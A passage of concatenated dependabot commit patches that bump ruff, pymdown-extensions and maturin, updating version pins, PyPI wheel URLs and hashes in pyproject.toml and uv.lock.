"sha256:f69b5beb39622c90d1e44bd945d826eff6db545dcf0b68f52b7e4ad15eaf6d6c", size = 16955, upload-time = "2026-07-01T06:30:55.333Z" }, + { url = "https://files.pythonhosted.org/packages/5d/5e/1e994889673d7a0da11651f17ef789b6c83bfe349f29f871873dd3802445/pytest_rerunfailures-16.6-py3-none-any.whl", hash = "sha256:6af2d1ebd6e5cb79666ac408942cd6a0672a49fefd8523664770718560795e13", size = 19137, upload-time = "2026-08-17T07:10:59.121Z" }, ] [[package]] From b7aff4326a82615c7b2502f43fc15a8326efa6e9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:24:04 -0400 Subject: [PATCH 065/256] Bump ruff from 0.16.3 to 0.16.4 (#3414) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.16.3 to 0.16.4. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.3...0.16.4) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.4 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index a61729f165..8852eefc1f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -82,7 +82,7 @@ dev = [ "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", "baddns~=2.4.1", - "ruff==0.16.3", + "ruff==0.16.4", "maturin>=1.4,<2", ] docs = [ diff --git a/uv.lock b/uv.lock index 3471744308..736294a717 100644 --- a/uv.lock +++ b/uv.lock @@ -315,7 +315,7 @@ dev = [ { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "pytest-xdist", specifier = ">=3.6,<4" }, - { name = "ruff", specifier = "==0.16.3" }, + { name = "ruff", specifier = "==0.16.4" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.53" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -2945,27 +2945,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/61/b3/3213589383f8f1b3938781bd1278713f6d18621a14992b3e81fefb8a5ef9/ruff-0.16.3.tar.gz", hash = "sha256:e76d33a347661a84b5be6d043d0347fdc745dfdcf825a8f4fed64b5e26eebdf2", size = 4891904, upload-time = "2026-08-13T15:17:13.381Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/bf/96/493770daebd68c0a67f1549fdf519f53be51fc435186c0585bcc272fd76c/ruff-0.16.3-py3-none-linux_armv6l.whl", hash = "sha256:0c5710e247a58a4521e66e124ba9a74655b414f61ba3a2e9e3811e11098f48f7", size = 10902799, upload-time = "2026-08-13T15:16:27.382Z" }, - { url = "https://files.pythonhosted.org/packages/5e/e6/2becf3942fddc29a29b8df47691d456fb1085391a694f74d84513251418c/ruff-0.16.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fe155130631a2471fd2e14a7a664a4dfbd7194b8229c3d7b2a40b21178639081", size = 11135539, upload-time = "2026-08-13T15:16:30.87Z" }, - { url = "https://files.pythonhosted.org/packages/3e/1e/4b8b72f0d006dbf19326aa99f9ca0ee2ff374187c4d301cf529a51aa06fe/ruff-0.16.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e2ed719e14aa64d895c2ee922594a90a43c861a93f0575a95ff8c47cdbd13eb9", size = 10475095, upload-time = "2026-08-13T15:16:33.259Z" }, - { url = "https://files.pythonhosted.org/packages/92/32/2201fa49ba1f6c101ee321e83f051ac7a4b8d07b0ef6b4d3f2772b302275/ruff-0.16.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e0b1da805eb043654645d74d5de1e5ce2edc686e40790d2b86f56d71cc06a84", size = 10668771, upload-time = "2026-08-13T15:16:35.65Z" }, - { url = "https://files.pythonhosted.org/packages/c3/66/4afc5c8363bd04d45effce1b7c8713ca037d7a6740b7451a2403a6e3a972/ruff-0.16.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a37bdea0bbe21780f590bf437d6412c8c4e1b6cd010f91a65c2c40c5e5f5f870", size = 10699568, upload-time = "2026-08-13T15:16:38.195Z" }, - { url = "https://files.pythonhosted.org/packages/53/fd/c67d246bf36bf1698551c56de39e95cd07f70e64433e0098e6267d77061b/ruff-0.16.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09571e6d1288ed9be475207a3ac04ada404f1cd898104be0f6ab8d7df438575b", size = 11499365, upload-time = "2026-08-13T15:16:40.623Z" }, - { url = "https://files.pythonhosted.org/packages/67/0b/00ecbceb99a263af7b12f6f05ac3c92bc47b905e91adc3f207a836e3bc01/ruff-0.16.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c18c5a101eb540010638cc1ff3c84944d3adb3df62b8d98ca8f22ba484d3413", size = 12311728, upload-time = "2026-08-13T15:16:43.564Z" }, - { url = "https://files.pythonhosted.org/packages/54/b2/b7b3bb54f4d3f7db504e476ad4ab8de530dceebe2c061384b2757ee419e8/ruff-0.16.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8457c44f15033c85ddbb77b15d451df9e24e4bd03b628396dd3610cedc3b8f82", size = 11699896, upload-time = "2026-08-13T15:16:46.209Z" }, - { url = "https://files.pythonhosted.org/packages/c7/30/4c468429ac195addc5ee1b717b6ab1b66632786737ca3b2ed3443fb0c26a/ruff-0.16.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:294b95c4ae0cda9388525c2047778aa758d6b8d4bb876fd4e9eaa3ebc92343eb", size = 11058736, upload-time = "2026-08-13T15:16:48.823Z" }, - { url = "https://files.pythonhosted.org/packages/43/67/7a113cdaddf24b64d7f75b1242a99d04c82fcef4f6921fdbb832beaffb5f/ruff-0.16.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:3d0c7c40c87c2a820509c31ba007968da6e1306468c067b2d82fbfdbcd0e8474", size = 11586911, upload-time = "2026-08-13T15:16:51.913Z" }, - { url = "https://files.pythonhosted.org/packages/f1/c1/2e66f24c0f3ead25a5e660111778685e505e5da353c82802bf49f0cbe7b9/ruff-0.16.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:9f738c0fdfa8eed0b2ce7fb27ee7258208a92a68d7949e62aa15164bc7b389da", size = 10954265, upload-time = "2026-08-13T15:16:54.763Z" }, - { url = "https://files.pythonhosted.org/packages/c2/ba/4cee23bf52cba9a058d3726de623624daf50ef9638868edd86f4126157f6/ruff-0.16.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:fb785f0be25abe69d320415cd4f833b59e17ba7613d9ba6a958023b6bceb0a50", size = 10709886, upload-time = "2026-08-13T15:16:57.339Z" }, - { url = "https://files.pythonhosted.org/packages/82/df/7da7194fa5d9dc0a285f7e6fa5a4722e7c63faac0b45b614ded9314363a1/ruff-0.16.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c5536e3acfbf9563085aa2be7b13c629c3077e902afc5b941ac44024dbb9f506", size = 11210392, upload-time = "2026-08-13T15:17:00.171Z" }, - { url = "https://files.pythonhosted.org/packages/35/85/7795f6e817af050e7517bf3e7aa9b061cce70ef33d280aad902c956c1ecf/ruff-0.16.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:a2d85c02f9b8e165d85e6779184d38c4132de12603dab59c51c28e22584f9e4d", size = 11626910, upload-time = "2026-08-13T15:17:03.299Z" }, - { url = "https://files.pythonhosted.org/packages/78/9b/475b927cf27a5cbbda3c7bafb69ed6ff77e1d7923d5d85f17c2749d7ae32/ruff-0.16.3-py3-none-win32.whl", hash = "sha256:388cdf2166642bd9b13d52b5932d3170f34f8abed7e8d9a855f1d84b83645a0a", size = 10931415, upload-time = "2026-08-13T15:17:05.726Z" }, - { url = "https://files.pythonhosted.org/packages/b2/99/e2a2bfc4fbf0a1e8a916bc9ebe6fe6c58cc34c28e0ffc6ce281d572d1c2e/ruff-0.16.3-py3-none-win_amd64.whl", hash = "sha256:e80a7d69ca2a6d1c4d352ec91458cdca6e56c83cdbcabd93e4abe1e53591d948", size = 11445993, upload-time = "2026-08-13T15:17:08.353Z" }, - { url = "https://files.pythonhosted.org/packages/69/3e/4132e539aed78c148854d4997a2685b0ed4dc4e87110b59ce528564e184e/ruff-0.16.3-py3-none-win_arm64.whl", hash = "sha256:b8ca152da82c1acc1fa8d5874b15951935f0eef46f10e6954c83859011b6178a", size = 11399302, upload-time = "2026-08-13T15:17:10.908Z" }, +version = "0.16.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/00/8f/d8074b1f25e003164087a8bfe79a0f1a3945135764dbb6aaab04103dcaf9/ruff-0.16.4.tar.gz", hash = "sha256:13171aa9d9af2240ee3504e639de73122c67e74036de5ba2e1d01422cd17e3dc", size = 4899731, upload-time = "2026-08-20T17:43:59.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ff/80/779895ef584e089d22f2c6df0d0e99a65ec2df0805f1fffd439415b8c1f0/ruff-0.16.4-py3-none-linux_armv6l.whl", hash = "sha256:df4075f71ddac40b9934af60c3ec8a53047dd5a5fdc43224e6e4e8e9a27cb6f7", size = 10006909, upload-time = "2026-08-20T17:43:16.888Z" }, + { url = "https://files.pythonhosted.org/packages/a9/e6/f553199b5e8927a05cb5c422d921fd0656b29ab976e91c44802107c6b0da/ruff-0.16.4-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:0c95538517af68004306b0fb3214ff2f2af67a65092aee77cd9eb86db6656604", size = 10240201, upload-time = "2026-08-20T17:43:19.337Z" }, + { url = "https://files.pythonhosted.org/packages/1c/70/4a6dc4bb34da4dee35e30f09bbd1bfbdd26f33b62fb9b8df31f08a199cd2/ruff-0.16.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:963f83df8e69e575b64d67dd447ebbc917db41a14bf38d4593a4183e7aaa8255", size = 9835122, upload-time = "2026-08-20T17:43:21.708Z" }, + { url = "https://files.pythonhosted.org/packages/24/12/c6e22d686372c15bcb7af99831f1a1be96df696491babf4f24e4f942c527/ruff-0.16.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32a5057c7ff3f6e6480a48fccfb3a412a690f48a3d03ac5cf08177d6c2da3ade", size = 9977162, upload-time = "2026-08-20T17:43:24.236Z" }, + { url = "https://files.pythonhosted.org/packages/46/49/72b10ec912f5ab5854992eaf7aa7cd36729b6937d9dc4e0fb41b3bf428ec/ruff-0.16.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b3dce8d9b0c57c265b91885a66a567d8ea1372e8eb4e250fa8e5e3f579e99cff", size = 9829789, upload-time = "2026-08-20T17:43:26.966Z" }, + { url = "https://files.pythonhosted.org/packages/fa/80/0f30e32e7f6ee26edc39075502db9d368d788a44a79b55f763eb4ab03796/ruff-0.16.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7dc651db49283c69f8e72c834eec4fe5573e4c646856aebece0ce385dceb2a80", size = 10527949, upload-time = "2026-08-20T17:43:29.384Z" }, + { url = "https://files.pythonhosted.org/packages/52/3d/86e8ad3542169e56cac3859a343afdb9df2ad54d35a59ce1e67baee83421/ruff-0.16.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3817b87dbcabc92f13b05019257c5b89b5b4d51b5fb20f56fb5235ceb723cd07", size = 11333695, upload-time = "2026-08-20T17:43:31.872Z" }, + { url = "https://files.pythonhosted.org/packages/d0/16/481c29b380c20a0054a8261066665e1b3488e23636c49d0a43e75975b9bb/ruff-0.16.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e9fce1499134b2c8c68e5166f95705a5812062bb93aacc5f9873bb1a27084bc7", size = 10727741, upload-time = "2026-08-20T17:43:34.596Z" }, + { url = "https://files.pythonhosted.org/packages/5e/b6/56bc0b8cf45b54b28b3a5e6381c8945d51b5b18adf659454c32295209a31/ruff-0.16.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d812e482f5a7e02eee26cd73d2a37ebbdf47d795ea63ba1b89110ae93e9fb3", size = 10286522, upload-time = "2026-08-20T17:43:37.288Z" }, + { url = "https://files.pythonhosted.org/packages/e8/8b/b345b4fb110f2fbe2bd31eabd271e5e8b3b7e4ee6c0e02f2dc6be78db000/ruff-0.16.4-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:6baaf984aa7976edf93d3b627fe2d1d22ee94bbca05fa6f90fc76d73924e3454", size = 10584182, upload-time = "2026-08-20T17:43:39.984Z" }, + { url = "https://files.pythonhosted.org/packages/29/e5/827b34041c35f58774a9681a4213994c164fc987800f4dddabcf451da0bf/ruff-0.16.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:bdfcf0b28662eb890372d50f92c283bb94e67e7635ed93c7fd533970acff7b2b", size = 10134195, upload-time = "2026-08-20T17:43:42.351Z" }, + { url = "https://files.pythonhosted.org/packages/0f/10/d0bffcdd6729b87afc82ba0ef377173356a7dc8e972f5179968cf2fdf98c/ruff-0.16.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b66b02cb9b04f537643cadf5768e5f98dc461890d530cb67113d71c8c76e605d", size = 9825821, upload-time = "2026-08-20T17:43:44.532Z" }, + { url = "https://files.pythonhosted.org/packages/f5/32/0db2a863b796ca62d83e92a07a3ccf00921b14db02059347576a2fda3d4b/ruff-0.16.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8528bf9a4b291a60bf02ea453511e8ce6215bd2b982ee80405b66b008b6c30a0", size = 10267658, upload-time = "2026-08-20T17:43:46.989Z" }, + { url = "https://files.pythonhosted.org/packages/b2/a0/fbdeb59e48c6261f523e56c8f12e9c08fbe693786595cc7e3959207a9232/ruff-0.16.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:fbd85d2875fdd67e833213a651f613bbf25303abf6aa822a5121f4531195678d", size = 10697071, upload-time = "2026-08-20T17:43:49.891Z" }, + { url = "https://files.pythonhosted.org/packages/aa/28/0c6dd865859c6d17bc8ccc34cb72b0e02d6c7eb25e8a1e22b5bea681e2c0/ruff-0.16.4-py3-none-win32.whl", hash = "sha256:312769988007aaeb8e189b443ccdd03c0e6374489e053467be6d96518ebff76e", size = 10021687, upload-time = "2026-08-20T17:43:52.281Z" }, + { url = "https://files.pythonhosted.org/packages/a3/03/e724450f621698117f9aa6dd241c94d0274ae96781378dc86745ae29f0e7/ruff-0.16.4-py3-none-win_amd64.whl", hash = "sha256:05d9d27a18c4bcbefada602480ec9e01e0bc949d432e0ced5df77edac195919c", size = 10567657, upload-time = "2026-08-20T17:43:54.78Z" }, + { url = "https://files.pythonhosted.org/packages/0e/fe/da8b9e1347696bb22120b77280ec5ce25d500ca5cb39d5ad6e5c18de19c1/ruff-0.16.4-py3-none-win_arm64.whl", hash = "sha256:a3a61621c9b6f6a89573e938a080e648f1695baa3f58570a3a707bc51ff65a21", size = 10451579, upload-time = "2026-08-20T17:43:57.135Z" }, ] [[package]] From f9e6a8dbcf56fea9bb790ef403bd6e49b3d7848c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:24:21 -0400 Subject: [PATCH 066/256] Bump pymdown-extensions from 11.0.1 to 11.0.2 (#3412) Bumps [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) from 11.0.1 to 11.0.2. - [Release notes](https://github.com/facelessuser/pymdown-extensions/releases) - [Commits](https://github.com/facelessuser/pymdown-extensions/compare/11.0.1...11.0.2) --- updated-dependencies: - dependency-name: pymdown-extensions dependency-version: 11.0.2 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 736294a717..e49e2185f3 100644 --- a/uv.lock +++ b/uv.lock @@ -2308,15 +2308,15 @@ wheels = [ [[package]] name = "pymdown-extensions" -version = "11.0.1" +version = "11.0.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markdown" }, { name = "pyyaml" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/21/a9/5f0c535ba3b08fe09270c16808e053a968868242ecbd5676d4e3a488bf28/pymdown_extensions-11.0.1.tar.gz", hash = "sha256:dd2905ae6fc5b75582fafb139a1266ffc754705efa902aa50067fa7ff4f94ec0", size = 857113, upload-time = "2026-07-02T17:59:22.955Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ad/17/2db4b414de89659144488e0d9c6c0bf0c8395841dc12d81d0532cc6ef310/pymdown_extensions-11.0.2.tar.gz", hash = "sha256:9506fcbe66fa355a775b768084334238dd6805020ac4b92bea0c0dda6f8f223d", size = 855419, upload-time = "2026-08-22T19:28:47.236Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d6/54/da572c98c0b77626a91b5d3b89f0231d8bff5125c225420908632f8b342d/pymdown_extensions-11.0.1-py3-none-any.whl", hash = "sha256:db3943a62bab7e03af1364f0c4083e64b91fb097675a4b6cceccfbe9a77e5eb2", size = 269455, upload-time = "2026-07-02T17:59:21.271Z" }, + { url = "https://files.pythonhosted.org/packages/a6/43/9f45ec4d14e596efc32c925a78104934790438b0c0628b70d741016734ad/pymdown_extensions-11.0.2-py3-none-any.whl", hash = "sha256:259910762019732caa1dfd76f3faa62c59f191d46573e80bcb1d13c0f675bbe5", size = 269929, upload-time = "2026-08-22T19:28:45.389Z" }, ] [[package]] From 3f81523424e170bdd0315f561f1350384effff8a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:24:52 -0400 Subject: [PATCH 067/256] Bump maturin from 1.14.1 to 1.15.0 (#3409) Bumps [maturin](https://github.com/pyo3/maturin) from 1.14.1 to 1.15.0. - [Release notes](https://github.com/pyo3/maturin/releases) - [Changelog](https://github.com/PyO3/maturin/blob/main/Changelog.md) - [Commits](https://github.com/pyo3/maturin/compare/v1.14.1...v1.15.0) --- updated-dependencies: - dependency-name: maturin dependency-version: 1.15.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/uv.lock b/uv.lock index e49e2185f3..c9212287a7 100644 --- a/uv.lock +++ b/uv.lock @@ -1574,26 +1574,26 @@ wheels = [ [[package]] name = "maturin" -version = "1.14.1" +version = "1.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/e7/b3/addd877f871fb1860d46d3a4f206ecb10b946c85846805e6367631926fd3/maturin-1.14.1.tar.gz", hash = "sha256:9d6577a62cd08e0ceba7a0db06fb098e0c9b1b3429bad747a4f3a18215a1b3df", size = 369637, upload-time = "2026-06-19T05:19:49.774Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f4/f0/97c5a5bd9c71653a066c0976a484eaaae50b9369557838a4176b7b0bdaa5/maturin-1.14.1-py3-none-linux_armv6l.whl", hash = "sha256:522292398945442cdafa9daeb2271b2340fbde57027b818f923f88eab04174f8", size = 10207496, upload-time = "2026-06-19T05:19:09.321Z" }, - { url = "https://files.pythonhosted.org/packages/fe/83/294bca639b0e052f1e2f65199b3db258780c7d4e31408b934c9c974a1379/maturin-1.14.1-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:ffe5ad71f21d1e6603c4dd75f7fee34adf5ed5ebcebb692886549888ebb329ed", size = 19680113, upload-time = "2026-06-19T05:19:13.43Z" }, - { url = "https://files.pythonhosted.org/packages/43/b6/79c881410a3b1c187f7eb3d407aecae646c6a4433d630d72200359015e83/maturin-1.14.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:f3306078070c1508fd715b9116070cbcaff5959024272a9f1e6f5cb29768b86c", size = 10169205, upload-time = "2026-06-19T05:19:16.615Z" }, - { url = "https://files.pythonhosted.org/packages/93/9d/44b6f26dcb7f7a04c5501ac2dbb6ca1490150682baa525ca5860504f9eab/maturin-1.14.1-py3-none-manylinux_2_12_i686.manylinux2010_i686.musllinux_1_1_i686.whl", hash = "sha256:cd457cd88961156e26379e1155bd287cc0ec1c8b2f1582b0660fb31b87c8842d", size = 10188098, upload-time = "2026-06-19T05:19:19.736Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bd/9c0d5d6983905ce2c9edaa073a7e89355a9cf7f396988e05d32f1c37785d/maturin-1.14.1-py3-none-manylinux_2_12_x86_64.manylinux2010_x86_64.musllinux_1_1_x86_64.whl", hash = "sha256:dfc54ae32e6fcb18302193ab9a30b0b25eefffba994ae13238974805533ef75e", size = 10627576, upload-time = "2026-06-19T05:19:22.713Z" }, - { url = "https://files.pythonhosted.org/packages/e5/33/b096412bd6a7cb399652b260666f901adf88a687181a6dbd6a3f89f0a94e/maturin-1.14.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:a131d912b5267e640bc96d70f4914e10590aed64082ec9abacba7cea52004224", size = 10085181, upload-time = "2026-06-19T05:19:25.69Z" }, - { url = "https://files.pythonhosted.org/packages/56/8d/08c3bf469c38a23c9e6c877e338193001eb604d010fedc08341974e38528/maturin-1.14.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:be18fc568fb76884c0205456336892a75105ec398e6b667cd777c6268bd06d69", size = 10026363, upload-time = "2026-06-19T05:19:28.904Z" }, - { url = "https://files.pythonhosted.org/packages/3a/a4/c4d1a92839f8745ab4aab988a7db884a79d6d710bd3b286fcf9316dece1a/maturin-1.14.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.musllinux_1_1_ppc64le.whl", hash = "sha256:994a0c8ba3ad8a92b3a9ee1b02645d200d610216b15cff5102b0fe65e8e08666", size = 13321347, upload-time = "2026-06-19T05:19:32.411Z" }, - { url = "https://files.pythonhosted.org/packages/b3/fa/170f04624d03fd07d2a8b1b67de83a127af93aef9eaa425839553347297b/maturin-1.14.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:be80866363e605d137991b491a741a84cde9ae350183c4c85f49690ca9aaaa65", size = 10877609, upload-time = "2026-06-19T05:19:35.448Z" }, - { url = "https://files.pythonhosted.org/packages/61/ad/1ae2e1d0ded282bf2c55ac13f0811d87deb425e200ae64a15785675dede9/maturin-1.14.1-py3-none-manylinux_2_31_riscv64.musllinux_1_1_riscv64.whl", hash = "sha256:5282dffd4b539d2be245f4e5b1a5ab6bc1033b58f4a4872f5833f9d43c954aa4", size = 10417316, upload-time = "2026-06-19T05:19:38.28Z" }, - { url = "https://files.pythonhosted.org/packages/fb/27/bf677183920718da49cd7982d6a3ffc440aad8919329f571d189f81b7bdf/maturin-1.14.1-py3-none-win32.whl", hash = "sha256:1a04de0a20188f95c721b5702eed18140bdcccb28c386797093eca3f62f4d4e0", size = 8931293, upload-time = "2026-06-19T05:19:41.183Z" }, - { url = "https://files.pythonhosted.org/packages/63/4b/585adeb9167b08d3cdff0032a938b0e72655c92003df4f52c3f696a1bcc2/maturin-1.14.1-py3-none-win_amd64.whl", hash = "sha256:3c9f94640ecc4895e94abaf834a0684430032c865b2748a36c12461fd9252fdd", size = 10314067, upload-time = "2026-06-19T05:19:44.389Z" }, - { url = "https://files.pythonhosted.org/packages/51/d4/dac8c0720ae246be1700afb6fbdbbea20fe35b13f6570b2f70faa005df77/maturin-1.14.1-py3-none-win_arm64.whl", hash = "sha256:15cea8fcb3ba47dd636f50092bb34baea8b04ac777392f23e6bf8a9a61efb894", size = 9718943, upload-time = "2026-06-19T05:19:47.49Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/b9/c8/22e5e21b2679c9bce6415ca578034ca2cc9316be0642ae21e051a2d5198c/maturin-1.15.0.tar.gz", hash = "sha256:94b26cc8e8aba61a5f2099715fe640e18c5f678e9a500408b38761263954228a", size = 385504, upload-time = "2026-08-24T12:11:22.665Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/69/5c01b461044eb1f45ddcce006706eb88110c793cdb11c7ae0b5e08492e94/maturin-1.15.0-py3-none-linux_armv6l.whl", hash = "sha256:6bf6dc62e22d4dcfd5a51244ff0d58975fa4979c48209fe84159617648956d82", size = 10206220, upload-time = "2026-08-24T12:10:53.327Z" }, + { url = "https://files.pythonhosted.org/packages/eb/1f/2b431554e11687cdb1077e0cdadcc118c53f611086b3af00c8545a67c6a5/maturin-1.15.0-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:cd35772633f489841132bc8e71d6fc7f842df30b9c05cd5cdf1ee1ddcb744cc7", size = 19416513, upload-time = "2026-08-24T12:10:56.126Z" }, + { url = "https://files.pythonhosted.org/packages/51/36/e23a21cb34a648b711036b9b2fe1d4f3f4ee24f8db54215d73f1a9a3a3ec/maturin-1.15.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:c40b4eae7bf5ef1f4b1af8d623fe4105016f93578fb15b764e741d08ec3b92dd", size = 10014962, upload-time = "2026-08-24T12:10:58.486Z" }, + { url = "https://files.pythonhosted.org/packages/8c/80/33b15cb2d8f30f12c807955e8f2fd775027692904e30ec0784744ce8cd83/maturin-1.15.0-py3-none-manylinux_2_12_i686.manylinux2010_i686.musllinux_1_1_i686.whl", hash = "sha256:7eb066372f541f8eb4909c79c5d9bd0b9e8125980bdf1ec9e8aba23c6c8d6c55", size = 10196223, upload-time = "2026-08-24T12:11:00.696Z" }, + { url = "https://files.pythonhosted.org/packages/fe/91/b495e19e2f5c503b540452b2039115e7b2363867e8c5ad4179eb752fa92c/maturin-1.15.0-py3-none-manylinux_2_12_x86_64.manylinux2010_x86_64.musllinux_1_1_x86_64.whl", hash = "sha256:653020a63525bb224e5ab0adf02e17a2e08bc86dbea7fc1399c9a56d7529b99e", size = 10541186, upload-time = "2026-08-24T12:11:02.857Z" }, + { url = "https://files.pythonhosted.org/packages/5d/2b/2abff58037188d852b124871b1f0d720e1c2bfb3d4f1b03d87c52cd66488/maturin-1.15.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:0ebf9767892725083138e671c34482c660317a2f3d6a29fc0e0f34e9d8c99136", size = 10083468, upload-time = "2026-08-24T12:11:05.012Z" }, + { url = "https://files.pythonhosted.org/packages/3f/07/b7e9f8be99a6627849e81ac7b6694876bce8f50a92995fe17e3cf2610f0a/maturin-1.15.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:7ab7eebffd7b8debca2265985de4eaeb332141276d24b9560b5ad484d4b3add1", size = 10047786, upload-time = "2026-08-24T12:11:07.042Z" }, + { url = "https://files.pythonhosted.org/packages/ca/ab/167e3cb7accee11b507dbe53e0e87aeccb376d44ae66284c96ee4df3a9fd/maturin-1.15.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.musllinux_1_1_ppc64le.whl", hash = "sha256:126e12e618b4db42f68c779a56d41f82a390145ba36ac3f621d057eb34f5ad9d", size = 13315332, upload-time = "2026-08-24T12:11:09.433Z" }, + { url = "https://files.pythonhosted.org/packages/14/4d/801379f646cbc6b00998e5289b0630a886be3a4ee4c75b6bc9b87478a7f1/maturin-1.15.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4f9d33e6c3f9615c8caceecbbbd440f8eb25a3ddeb687077682cd5eca2e9ae15", size = 10807183, upload-time = "2026-08-24T12:11:11.73Z" }, + { url = "https://files.pythonhosted.org/packages/89/27/2e612e1cbd1580e9e94d4722c227b5180dca27b32b955a34b79918aa1292/maturin-1.15.0-py3-none-manylinux_2_31_riscv64.musllinux_1_1_riscv64.whl", hash = "sha256:bf29beddd0c6708f112db51d5275fc28b28b9e9c9c5faae387eaef662918b176", size = 10413274, upload-time = "2026-08-24T12:11:14.04Z" }, + { url = "https://files.pythonhosted.org/packages/70/d8/202a7b4d75a51f20f84ec9ce3b7345b12b822207072164e2b1c6ef665125/maturin-1.15.0-py3-none-win32.whl", hash = "sha256:da649988be98e87e009e51b1bf0d301b6a301bc0cecbdd60d40d8ba60748d1ca", size = 8928744, upload-time = "2026-08-24T12:11:16.269Z" }, + { url = "https://files.pythonhosted.org/packages/40/dc/4e90da594986ba78dd3bc8a5921ecdcdb11085b22b02a412caab3b225601/maturin-1.15.0-py3-none-win_amd64.whl", hash = "sha256:552c2be4afd43fe8d5c9f3ec8d4c4756d973b8dcbe94c14084390301f50243e1", size = 10335085, upload-time = "2026-08-24T12:11:18.326Z" }, + { url = 